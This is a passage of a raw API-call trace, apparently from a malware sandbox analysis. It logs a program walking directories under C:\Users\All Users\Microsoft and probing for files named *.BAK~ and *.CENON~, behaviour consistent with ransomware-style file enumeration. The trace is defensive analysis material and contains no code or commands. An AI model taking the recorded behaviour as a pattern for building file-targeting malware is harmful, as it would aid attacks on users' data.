(in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.577] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.582] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MSDN\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.582] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.583] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MSDN\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.583] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.584] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.584] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.584] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.592] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.592] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.593] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.593] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.594] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.594] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.599] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\NetFramework\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.599] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.600] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\NetFramework\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.600] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.601] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.601] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.601] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.607] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.607] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.608] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.608] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.609] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.609] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.614] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.614] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.615] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.615] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.616] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.616] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.616] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.616] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.622] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.623] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.624] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.624] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.624] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.624] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.630] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.630] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.631] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.631] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.632] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.632] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.632] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.632] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.638] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.638] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.639] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.639] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0113.640] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0113.652] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.652] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.653] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.653] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.654] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.654] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.654] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0113.654] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0113.900] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.900] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.938] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.965] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0113.966] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.251] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.251] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.292] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.292] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.334] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.335] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.341] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.341] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.342] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.343] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.343] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.343] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.343] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.343] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.350] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.350] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.351] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.351] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.352] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.352] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.352] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.357] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.357] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.358] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.359] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.359] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.359] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0114.360] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0114.365] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.365] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.366] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.366] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.367] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.367] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.373] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.373] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.374] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.374] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.375] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.375] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.375] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.380] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.381] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.381] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.382] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.382] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.382] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.382] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.382] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.388] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.388] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.389] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.389] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.390] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 